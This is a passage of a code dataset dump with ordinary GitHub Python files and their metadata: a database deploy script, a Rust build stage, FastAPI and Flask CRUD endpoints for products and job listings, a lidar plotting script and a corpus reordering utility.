['sensors']\n\n if generate:\n print('database setup')\n\n setupDatabase(create_tables=create, timescale_tables=timescale, drop_tables=destroy)\n\n with orm.db_session:\n dsn = database.get_connection().dsn\n print(dsn)\n\n print('database created')\n\n if migrate:\n legacyMigrate(skipList)\n\n\nif __name__ == \"__main__\":\n deployDatabase()\n", "repo_name": "Som-Energia/plantmonitor", "sub_path": "deploy.py", "file_name": "deploy.py", "file_ext": "py", "file_size_in_byte": 2544, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.environ.setdefault", "line_number": 3, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 3, "usage_type": "attribute"}, {"api_name": "logging.config.dictConfig", "line_number": 13, "usage_type": "call"}, {"api_name": "conf.logging_configuration.LOGGING", "line_number": 13, "usage_type": "argument"}, {"api_name": "logging.config", "line_number": 13, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "yamlns.namespace.load", "line_number": 37, "usage_type": "call"}, {"api_name": "yamlns.namespace", "line_number": 37, "usage_type": "name"}, {"api_name": "ORM.migrations.migrateLegacyToPony", "line_number": 38, "usage_type": "call"}, {"api_name": "pony.orm.set_sql_debug", "line_number": 54, "usage_type": "call"}, {"api_name": "pony.orm", "line_number": 54, "usage_type": "name"}, {"api_name": "ORM.db_utils.dropTables", "line_number": 57, "usage_type": "call"}, {"api_name": "ORM.db_utils.setupDatabase", "line_number": 72, "usage_type": "call"}, {"api_name": "pony.orm.db_session", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pony.orm", "line_number": 74, "usage_type": "name"}, {"api_name": "click.command", "line_number": 41, "usage_type": "call"}, {"api_name": "click.option", "line_number": 42, "usage_type": "call"}, {"api_name": "click.option", "line_number": 43, "usage_type": "call"}, {"api_name": "click.option", "line_number": 44, "usage_type": "call"}, {"api_name": "click.option", "line_number": 45, "usage_type": "call"}, {"api_name": "click.option", "line_number": 46, "usage_type": "call"}, {"api_name": "click.option", "line_number": 47, "usage_type": "call"}, {"api_name": "click.option", "line_number": 48, "usage_type": "call"}, {"api_name": "click.option", "line_number": 49, "usage_type": "call"}, {"api_name": "click.option", "line_number": 50, "usage_type": "call"}, {"api_name": "click.option", "line_number": 51, "usage_type": "call"}]} {"seq_id": "70904328251", "text": "from lib.command import Command\nfrom lib.stage import Stage, stage_dict, FlagSet\n\n\nclass Binary(Stage):\n name = \"server\"\n working_directory = \"source/server\"\n\n def run(self, flags: FlagSet):\n build_cmd = \"cargo build\"\n\n is_local = flags.get(\"-d\", \"--dev\")\n if is_local is None:\n build_cmd += \" --release\"\n\n Command(build_cmd).exec()\n\n\nBUILD_STAGES = stage_dict([\n Binary()\n])\n", "repo_name": "iris-db/iris", "sub_path": "etc/deprecatedScripts/stages/build.py", "file_name": "build.py", "file_ext": "py", "file_size_in_byte": 427, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "lib.stage.Stage", "line_number": 5, "usage_type": "name"}, {"api_name": "lib.stage.FlagSet", "line_number": 9, "usage_type": "name"}, {"api_name": "lib.command.Command", "line_number": 16, "usage_type": "call"}, {"api_name": "lib.stage.stage_dict", "line_number": 19, "usage_type": "call"}]} {"seq_id": "4240192626", "text": "from sqlalchemy import and_\nfrom sqlalchemy.orm import contains_eager\nfrom fastapi import HTTPException\n\nfrom database.models import *\nfrom database.schema import *\nfrom config.constant import ERROR_DIC\nfrom database.base_model import DefaultModel\n\n\ndef get_product(session, user_id):\n response = DefaultModel()\n\n filter_list = []\n if user_id is not None:\n filter_list.append(Product.user_id == user_id)\n\n products = session.query(Product).outerjoin(User, and_(User.id == Product.user_id,\n User.status == constant.STATUS_ACTIVE)\n ).filter(Product.status == constant.STATUS_ACTIVE,\n *filter_list\n ).options(contains_eager(Product.user)).all()\n response.result_data = product_list_schema.dump(products)\n return response\n\n\ndef get_product_detail(product_id, session):\n response = DefaultModel()\n\n product = session.query(Product).outerjoin(User, and_(User.id == Product.user_id,\n User.status == constant.STATUS_ACTIVE)\n ).filter(Product.id == product_id\n ).options(contains_eager(Product.user)).first()\n if product is None:\n raise HTTPException(detail=ERROR_DIC[constant.ERROR_DATA_NOT_EXIST][1],\n status_code=ERROR_DIC[constant.ERROR_DATA_NOT_EXIST][0])\n\n response.result_data = {\n 'product': product_detail_schema.dump(product)\n }\n return response", "repo_name": "pyheejin/resevation_project", "sub_path": "controller/product_controller.py", "file_name": "product_controller.py", "file_ext": "py", "file_size_in_byte": 1629, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "database.base_model.DefaultModel", "line_number": 12, "usage_type": "call"}, {"api_name": "sqlalchemy.and_", "line_number": 18, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 22, "usage_type": "call"}, {"api_name": "database.base_model.DefaultModel", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.and_", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.contains_eager", "line_number": 33, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 35, "usage_type": "call"}, {"api_name": "config.constant.ERROR_DIC", "line_number": 35, "usage_type": "name"}, {"api_name": "config.constant.ERROR_DIC", "line_number": 36, "usage_type": "name"}]} {"seq_id": "10240893853", "text": "import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\nclass ScenarioOutput(object):\n\n def __init__(self, data_arr):\n self.time = data_arr[:, 0] # s\n self.target_r = np.sqrt((data_arr[:, 1] - data_arr[:, 3]) ** 2 +\n (data_arr[:, 2] - data_arr[:, 4]) ** 2) # mm\n self.target_theta = np.arctan2((data_arr[:, 2] - data_arr[:, 4]),\n (data_arr[:, 1] - data_arr[:, 3])) # rad\n self.target_center_r = np.sqrt(data_arr[:, 3] ** 2 +\n data_arr[:, 4] ** 2) # mm\n self.target_center_theta = np.arctan2(data_arr[:, 4],\n data_arr[:, 3]) # rad\n self.target_v_x = data_arr[:, 5] # mm/s\n self.target_v_y = data_arr[:, 6] # mm/s\n self.sensor_v = data_arr[:, 7] # rad/s\n\n\ndef scenario_output_to_df(output_path):\n all_data = []\n for i in range(len(os.listdir(output_path))):\n output_file = f\"{scenario_name}{i}.csv\"\n full_output_path = os.path.join(output_path, output_file)\n data = np.loadtxt(full_output_path,\n delimiter=\",\", skiprows=1, dtype=object)\n is_target = data[:, 1]\n data = np.hstack((data[:, 0].reshape((-1, 1)), data[:, 2:])).astype(float)\n points_of_interest = np.where(is_target == 'True')[0]\n data = data[points_of_interest, :]\n all_data.append(ScenarioOutput(data))\n return all_data\n\n\n\n\nif __name__ == \"__main__\":\n\n root_dir = os.path.join(\"scenarios\", \"dev\", \"output\")\n fig = plt.figure()\n ax = fig.add_subplot(111)\n for i in range(len(os.listdir(root_dir))):\n scenario_name = f\"dev_{i}\"\n output_path = os.path.join(root_dir, scenario_name)\n data = scenario_output_to_df(output_path)\n\n ax.plot(data[0].target_r, data[0].target_theta)\n\n plt.show()\n", "repo_name": "jaredarchey02/LidarSim", "sub_path": "post_process.py", "file_name": "post_process.py", "file_ext": "py", "file_size_in_byte": 1945, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.sqrt", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 17, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.loadtxt", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}]} {"seq_id": "35525600029", "text": "class CorpusReader(object):\n def __init__(self, corpus_file, limit=None):\n self.corpus_file = open(corpus_file, \"r\")\n self.limit = limit\n self.next = self.__iter_sent\n\n def reset(self):\n self.corpus_file.seek(0)\n\n def __iter_sent(self):\n self.reset()\n c = 0\n buffer = []\n b = 0\n for line in self.corpus_file:\n if b != -1:\n buffer.append(map(int, line.strip().split()))\n b += 1\n if b == 7:\n yield buffer\n c += 1\n if c == self.limit:\n break\n b = -1\n buffer = []\n\n\n def __iter__(self):\n return self.next()\n\n def get_length(self):\n c = 0\n for _ in self:\n c += 1\n return c\n\ndef reorder(data, order):\n \"\"\"\n Order is a list with same length as data that specifies for each position of data, which rank it has in the new order.\n :param data:\n :param order:\n :return:\n \"\"\"\n new_data = [None] * len(data)\n for i, j in enumerate(order):\n new_data[j] = data[i]\n return new_data\n\ndef hmm_reorder(f_toks, pos, rel, order):\n # HMM reorder\n J = len(f_toks)\n new_f_toks = reorder(f_toks, order)\n new_pos = reorder(pos, order)\n new_rel = reorder(rel, order)\n new_f_heads = [0] + range(J - 1)\n new_order = range(J)\n return new_f_toks, new_f_heads, new_pos, new_rel, new_order\n\n\nif __name__ == \"__main__\":\n import argparse\n arg_parser = argparse.ArgumentParser()\n arg_parser.add_argument(\"-corpus_file\", required=True)\n args = arg_parser.parse_args()\n corpus = CorpusReader(args.corpus_file)\n\n\n outfile = open(args.corpus_file + \".hmm\", \"w\")\n\n for e_toks, f_toks, f_heads, pos, rel, _, order in corpus:\n f_toks, f_heads, pos, rel, order = hmm_reorder(f_toks, pos, rel, order)\n\n outfile.write(\" \".join(map(str, e_toks)) + \"\\n\")\n outfile.write(\" \".join(map(str, f_toks)) + \"\\n\")\n outfile.write(\" \".join(map(str, f_heads)) + \"\\n\")\n outfile.write(\" \".join(map(str, pos)) + \"\\n\")\n outfile.write(\" \".join(map(str, rel)) + \"\\n\")\n outfile.write(\" \".join(map(str, [0]*len(f_toks))) + \"\\n\")\n outfile.write(\" \".join(map(str, order)) + \"\\n\\n\")\n\n outfile.close()", "repo_name": "mrmutator/alignment", "sub_path": "word_alignment/parsing/make_hmm_corpus.py", "file_name": "make_hmm_corpus.py", "file_ext": "py", "file_size_in_byte": 2326, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 62, "usage_type": "call"}]} {"seq_id": "5403421188", "text": "from flask import request, jsonify\r\nfrom flask_restful import abort, Resource\r\nfrom app import db\r\nfrom marshmallow import Schema, fields\r\nfrom datetime import datetime\r\nfrom api.user import User\r\nfrom flask_jwt_extended import jwt_required\r\nfrom sqlalchemy import or_, and_, select, func, Integer, Table, Column, MetaData, distinct\r\n\r\n#Job Model\r\nclass Job(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n user_id = db.Column(db.Integer, db.ForeignKey(\"user.id\"))\r\n company_name = db.Column(db.String(100), nullable=False)\r\n company_address = db.Column(db.String(100), nullable=False)\r\n company_city = db.Column(db.String(100), nullable=False)\r\n contact_name = db.Column(db.String(100), nullable=False)\r\n contact_email = db.Column(db.String(100), nullable=False)\r\n contact_phone = db.Column(db.String(100), nullable=False)\r\n job_title = db.Column(db.String(100), nullable=False)\r\n job_location = db.Column(db.String(100), nullable=False)\r\n job_status = db.Column(db.String(15), nullable=False)\r\n job_description = db.Column(db.Text, nullable=False)\r\n search_count = db.Column(db.Integer, default=0)\r\n\r\n required_skills = db.relationship(\r\n 'RequiredSkill',\r\n backref='job',\r\n cascade='all, delete, delete-orphan',\r\n single_parent=True,\r\n order_by='desc(RequiredSkill.timestamp)'\r\n )\r\n\r\n requirements = db.relationship(\r\n 'Requirement',\r\n backref='job',\r\n cascade='all, delete, delete-orphan',\r\n single_parent=True,\r\n order_by='desc(Requirement.timestamp)'\r\n )\r\n\r\n preferreds = db.relationship(\r\n 'Preferred',\r\n backref='job',\r\n cascade='all, delete, delete-orphan',\r\n single_parent=True,\r\n order_by='desc(Preferred.timestamp)'\r\n )\r\n\r\n timestamp = db.Column(\r\n db.DateTime, default=datetime.utcnow, onupdate=datetime.utcnow\r\n )\r\n \r\n\r\n def __init__(self, user_id, company_name, company_address, company_city, contact_name, \r\n contact_email, contact_phone, job_title, job_location, job_status, job_description, search_count, timestamp):\r\n self.user_id = user_id\r\n self.company_name = company_name\r\n self.company_address = company_address\r\n self.company_city = company_city\r\n self.contact_name = contact_name\r\n self.contact_email = contact_email\r\n self.contact_phone = contact_phone\r\n self.job_title = job_title\r\n self.job_location = job_location\r\n self.job_status = job_status\r\n self.job_description = job_description\r\n self.search_count = search_count\r\n self.timestamp = timestamp\r\n\r\n def __repr__(self):\r\n return self.id\r\n\r\n#RequiredSkill Model\r\nclass RequiredSkill(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n job_id = db.Column(db.Integer, db.ForeignKey(\"job.id\"))\r\n required_skill = db.Column(db.String(100), nullable=False)\r\n timestamp = db.Column(\r\n db.DateTime, default=datetime.utcnow, onupdate=datetime.utcnow\r\n )\r\n\r\n def __init__(self, job_id, required_skill, timestamp):\r\n self.job_id = job_id\r\n self.required_skill = required_skill\r\n self.timestamp = timestamp\r\n \r\n\r\n def __repr__(self):\r\n return self.id\r\n\r\n#Requirement Model\r\nclass Requirement(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n job_id = db.Column(db.Integer, db.ForeignKey(\"job.id\"))\r\n required = db.Column(db.Text, nullable=False)\r\n timestamp = db.Column(\r\n db.DateTime, default=datetime.utcnow, onupdate=datetime.utcnow\r\n )\r\n\r\n def __init__(self, job_id, required, timestamp):\r\n self.job_id = job_id\r\n self.required = required\r\n self.timestamp = timestamp\r\n \r\n\r\n def __repr__(self):\r\n return self.id\r\n\r\n#Preferred Model\r\nclass Preferred(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n job_id = db.Column(db.Integer, db.ForeignKey(\"job.id\"))\r\n preferred = db.Column(db.Text, nullable=False)\r\n timestamp = db.Column(\r\n db.DateTime, default=datetime.utcnow, onupdate=datetime.utcnow\r\n )\r\n\r\n def __init__(self, job_id, preferred, timestamp):\r\n self.job_id = job_id\r\n self.preferred = preferred\r\n self.timestamp = timestamp\r\n \r\n\r\n def __repr__(self):\r\n return self.id\r\n\r\ndb.create_all()\r\ndb.session.commit()\r\n\r\n# RequiredSkill Schema\r\nclass RequiredSkillSchema(Schema):\r\n required_skill = fields.Str()\r\n\r\n# Requirement Schema\r\nclass RequirementSchema(Schema):\r\n required = fields.Str()\r\n\r\n# Preferred Schema\r\nclass PreferredSchema(Schema):\r\n preferred = fields.Str()\r\n\r\n# Job Schema\r\nclass JobSchema(Schema):\r\n id = fields.Int(dump_only=True)\r\n user_id = fields.Int()\r\n company_name = fields.Str()\r\n company_address = fields.Str()\r\n company_city = fields.Str()\r\n contact_name = fields.Str()\r\n contact_email = fields.Str()\r\n contact_phone = fields.Str()\r\n job_title = fields.Str()\r\n job_location = fields.Str()\r\n job_status = fields.Str()\r\n job_description = fields.Str()\r\n search_count = fields.Int()\r\n timestamp = fields.Date()\r\n required_skills = fields.Nested(RequiredSkillSchema, many=True)\r\n requirements = fields.Nested(RequirementSchema, many=True)\r\n preferreds = fields.Nested(PreferredSchema, many=True)\r\n\r\nclass JobFrequentlySchema(Schema):\r\n count_1 = fields.Int()\r\n# Init schema\r\njob_schema = JobSchema()\r\njobs_schema = JobSchema(many=True)\r\njob_frequently = JobFrequentlySchema()\r\ndate_time = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\n#Job Search Class\r\nclass JobSearch(Resource):\r\n def get(self):\r\n per_page = 9\r\n page = request.args.get('page', type = int)\r\n keyword = request.args.get(\"keyword\").lower() if request.args.get(\"keyword\") != None else ''\r\n location = request.args.get(\"location\").lower() if request.args.get(\"location\") != None else ''\r\n\r\n if keyword != '':\r\n jobs = Job.query.filter(or_(\r\n Job.company_name.ilike('%' + keyword + '%'), \r\n Job.job_title.ilike('%' + keyword + '%'))\r\n ).paginate(page,per_page,error_out=False)\r\n if jobs.total < 1:\r\n jobs = Job.query.join(Job.required_skills).filter(RequiredSkill.required_skill.ilike('%' + keyword + '%')).paginate(page,per_page,error_out=False)\r\n \r\n elif location != '':\r\n jobs = Job.query.filter(or_(\r\n Job.job_location.ilike('%' + location + '%'), \r\n Job.company_address.ilike('%' + location + '%'))\r\n ).paginate(page,per_page,error_out=False)\r\n\r\n\r\n total_page = jobs.pages\r\n page_num = page\r\n returnData = {}\r\n returnData['total_page'] = total_page\r\n returnData['page_num'] = page_num\r\n resultData = jobs_schema.dump(jobs.items)\r\n return jsonify(resultData, returnData)\r\n\r\n#Job Search Class\r\nclass JobSearchCount(Resource):\r\n def get(self):\r\n jobs = Job.query.order_by(Job.search_count.desc())\r\n return jobs_schema.dump(jobs)\r\n\r\n#Job Frequently Class\r\nclass JobFrequently(Resource):\r\n def get(self):\r\n jobQueries = Job.query.with_entities(Job.job_title, func.count(Job.job_title)).group_by(Job.job_title).order_by(func.count(Job.job_title).desc())\r\n data = []\r\n for row in jobQueries:\r\n dataQuery = {}\r\n dataQuery['job_title'] = row[0]\r\n dataQuery['count'] = row[1]\r\n data.append(dataQuery)\r\n\r\n return jsonify(data)\r\n\r\n#Job List Class\r\nclass JobList(Resource):\r\n def get(self, page):\r\n per_page = 9\r\n jobs = Job.query.order_by(Job.timestamp.desc()).paginate(page,per_page,error_out=False)\r\n total_page = jobs.pages\r\n page_num = page\r\n returnData = {}\r\n returnData['total_page'] = total_page\r\n returnData['page_num'] = page_num\r\n resultData = jobs_schema.dump(jobs.items)\r\n return jsonify(resultData, returnData)\r\n\r\n#Job Post Class\r\nclass JobPost(Resource):\r\n @jwt_required()\r\n def post(self):\r\n data = request.json\r\n userID = data['user_id']\r\n user = User.query.filter_by(id=userID).first()\r\n if not user:\r\n abort(404, message=\"User doesn't exist, cannot create Job data\")\r\n\r\n if not user.as_company == True:\r\n abort(404, message=\"User not as Job role, cannot create Job data\")\r\n\r\n companyName = data['company_name']\r\n companyAddress = data['company_address']\r\n companyCity = data['company_city']\r\n contactName = data['contact_name']\r\n contactEmail = data['contact_email']\r\n contactPhone = data['contact_phone']\r\n jobTitle = data['job_title']\r\n jobLocation = data['job_location']\r\n jobStatus = data['job_status']\r\n jobDescription = data['job_description']\r\n searchCount = data['search_count']\r\n\r\n job = Job(\r\n user_id=userID, \r\n company_name=companyName, \r\n company_address=companyAddress, \r\n company_city=companyCity, \r\n contact_name=contactName, \r\n contact_email=contactEmail, \r\n contact_phone=contactPhone, \r\n job_title=jobTitle, \r\n job_location=jobLocation, \r\n job_status=jobStatus,\r\n job_description=jobDescription, \r\n search_count=searchCount,\r\n timestamp=date_time\r\n )\r\n\r\n db.session.add(job)\r\n db.session.flush()\r\n job_id = job.id\r\n\r\n for reqSkill in data['required_skills']:\r\n reqSkill = reqSkill['required_skill']\r\n required_skill = RequiredSkill(\r\n job_id=job_id,\r\n required_skill=reqSkill,\r\n timestamp=date_time\r\n )\r\n db.session.add(required_skill)\r\n\r\n for requirement in data['requirements']:\r\n require = requirement['required']\r\n required = Requirement(\r\n job_id=job_id,\r\n required=require,\r\n timestamp=date_time\r\n )\r\n db.session.add(required)\r\n\r\n for preferred in data['preferreds']:\r\n prefer = preferred['preferred']\r\n preferr = Preferred(\r\n job_id=job_id,\r\n preferred=prefer,\r\n timestamp=date_time\r\n )\r\n db.session.add(preferr)\r\n\r\n db.session.commit()\r\n\r\n return job_schema.dump(job), 201\r\n\r\n\r\n#Job ID Class\r\nclass JobID(Resource):\r\n def get(self, id):\r\n job = Job.query.filter_by(id=id).first()\r\n if not job:\r\n abort(404, message=\"Job doesn't exist\")\r\n return job_schema.dump(job)\r\n\r\n @jwt_required()\r\n def put(self, id):\r\n job = Job.query.filter_by(id=id).first()\r\n if not job:\r\n abort(404, message=\"Job doesn't exist, cannot update\")\r\n\r\n data = request.json\r\n job.user_id = data['user_id']\r\n user = User.query.filter_by(id=job.user_id).first()\r\n if not user:\r\n abort(404, message=\"User doesn't exist, cannot update Job data\")\r\n\r\n if not user.as_company == True:\r\n abort(404, message=\"User not as Job role, cannot update Job data\")\r\n\r\n job.company_name = data['company_name']\r\n job.company_address = data['company_address']\r\n job.company_city = data['company_city']\r\n job.contact_name = data['contact_name']\r\n job.contact_email = data['contact_email']\r\n job.contact_phone = data['contact_phone']\r\n job.job_title = data['job_title']\r\n job.job_location = data['job_location']\r\n job.job_status = data['job_status']\r\n job.job_description = data['job_description']\r\n job.search_count = data['search_count']\r\n db.session.add(job)\r\n\r\n RequiredSkill.query.filter_by(job_id=id).delete()\r\n for reqSkill in data['required_skills']:\r\n reqSkill = reqSkill['required_skill']\r\n required_skill = RequiredSkill(\r\n job_id=id,\r\n required_skill=reqSkill,\r\n timestamp=date_time\r\n )\r\n db.session.add(required_skill)\r\n\r\n Requirement.query.filter_by(job_id=id).delete()\r\n for requirement in data['requirements']:\r\n require = requirement['required']\r\n required = Requirement(\r\n job_id=id,\r\n required=require,\r\n timestamp=date_time\r\n )\r\n db.session.add(required)\r\n\r\n Preferred.query.filter_by(job_id=id).delete()\r\n for preferred in data['preferreds']:\r\n prefer = preferred['preferred']\r\n preferr = Preferred(\r\n job_id=id,\r\n preferred=prefer,\r\n timestamp=date_time\r\n )\r\n db.session.add(preferr)\r\n\r\n db.session.commit()\r\n return job_schema.dump(job)\r\n\r\n @jwt_required()\r\n def delete(self, id):\r\n job = Job.query.filter_by(id=id).first()\r\n if not job:\r\n abort(404, message=\"Job doesn't exist\")\r\n\r\n db.session.delete(job)\r\n db.session.commit()\r\n return '', 204\r\n\r\n#Job ViewCount Class\r\nclass JobViewCount(Resource):\r\n def put(self, id):\r\n job = Job.query.filter_by(id=id).first()\r\n if not job:\r\n abort(404, message=\"Job doesn't exist\")\r\n\r\n job.search_count = request.json['search_count']\r\n\r\n db.session.add(job)\r\n db.session.commit()\r\n return jsonify({'message': 'Success'})\r\n", "repo_name": "yanarahadhian/REST_Recruiter_Python_API", "sub_path": "api/job.py", "file_name": "job.py", "file_ext": "py", "file_size_in_byte": 13678, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "app.db.Model", "line_number": 11, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 11, "usage_type": "name"}, {"api_name": "app.db.Column", "line_number": 12, "usage_type": "call"}, {"api_name": "app.db", "line_number": 12, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 12, "usage_type": "attribute"}, {"api_name": "app.db.Column", "line_number": 13, "usage_type": "call"}, {"api_name": "app.db", "line_number": 13, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 13, "usage_type": "attribute"}, {"api_name": "app.db.ForeignKey", "line_number": 13, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 14, "usage_type": "call"}, {"api_name": "app.db", "line_number": 14, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 14, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 15, "usage_type": "call"}, {"api_name": "app.db", "line_number": 15, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 15, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 16, "usage_type": "call"}, {"api_name": "app.db", "line_number": 16, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 16, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 17, "usage_type": "call"}, {"api_name": "app.db", "line_number": 17, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 17, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 18, "usage_type": "call"}, {"api_name": "app.db", "line_number": 18, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 18, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 19, "usage_type": "call"}, {"api_name": "app.db", "line_number": 19, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 19, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 20, "usage_type": "call"}, {"api_name": "app.db", "line_number": 20, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 20, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "app.db", "line_number": 21, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 21, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "app.db", "line_number": 22, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 22, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "app.db", "line_number": 23, "usage_type": "name"}, {"api_name": "app.db.Text", "line_number": 23, "usage_type": "attribute"}, {"api_name": "app.db.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "app.db", "line_number": 24, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 24, "usage_type": "attribute"}, {"api_name": "app.db.relationship", "line_number": 26, "usage_type": "call"}, {"api_name": "app.db", "line_number": 26, "usage_type": "name"}, {"api_name": "app.db.relationship", "line_number": 34, "usage_type": "call"}, {"api_name": "app.db", "line_number": 34, "usage_type": "name"}, {"api_name": "app.db.relationship", "line_number": 42, "usage_type": "call"}, {"api_name": "app.db", "line_number": 42, "usage_type": "name"}, {"api_name": "app.db.Column", "line_number": 50, "usage_type": "call"}, {"api_name": "app.db", "line_number": 50, "usage_type": "name"}, {"api_name": "app.db.DateTime", "line_number": 51, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 51, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 51, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 51, "usage_type": "name"}, {"api_name": "app.db.Model", "line_number": 75, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 75, "usage_type": "name"}, {"api_name": "app.db.Column", "line_number": 76, "usage_type": "call"}, {"api_name": "app.db", "line_number": 76, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 76, "usage_type": "attribute"}, {"api_name": "app.db.Column", "line_number": 77, "usage_type": "call"}, {"api_name": "app.db", "line_number": 77, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 77, "usage_type": "attribute"}, {"api_name": "app.db.ForeignKey", "line_number": 77, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 78, "usage_type": "call"}, {"api_name": "app.db", "line_number": 78, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 78, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 79, "usage_type": "call"}, {"api_name": "app.db", "line_number": 79, "usage_type": "name"}, {"api_name": "app.db.DateTime", "line_number": 80, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 80, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 80, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 80, "usage_type": "name"}, {"api_name": "app.db.Model", "line_number": 93, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 93, "usage_type": "name"}, {"api_name": "app.db.Column", "line_number": 94, "usage_type": "call"}, {"api_name": "app.db", "line_number": 94, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 94, "usage_type": "attribute"}, {"api_name": "app.db.Column", "line_number": 95, "usage_type": "call"}, {"api_name": "app.db", "line_number": 95, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 95, "usage_type": "attribute"}, {"api_name": "app.db.ForeignKey", "line_number": 95, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 96, "usage_type": "call"}, {"api_name": "app.db", "line_number": 96, "usage_type": "name"}, {"api_name": "app.db.Text", "line_number": 96, "usage_type": "attribute"}, {"api_name": "app.db.Column", "line_number": 97, "usage_type": "call"}, {"api_name": "app.db", "line_number": 97, "usage_type": "name"}, {"api_name": "app.db.DateTime", "line_number": 98, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 98, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 98, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 98, "usage_type": "name"}, {"api_name": "app.db.Model", "line_number": 111, "usage_type": "attribute"}, {"api_name": "app.db", "line_number": 111, "usage_type": "name"}, {"api_name": "app.db.Column", "line_number": 112, "usage_type": "call"}, {"api_name": "app.db", "line_number": 112, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 112, "usage_type": "attribute"}, {"api_name": "app.db.Column", "line_number": 113, "usage_type": "call"}, {"api_name": "app.db", "line_number": 113, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 113, "usage_type": "attribute"}, {"api_name": "app.db.ForeignKey", "line_number": 113, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 114, "usage_type": "call"}, {"api_name": "app.db", "line_number": 114, "usage_type": "name"}, {"api_name": "app.db.Text", "line_number": 114, "usage_type": "attribute"}, {"api_name": "app.db.Column", "line_number": 115, "usage_type": "call"}, {"api_name": "app.db", 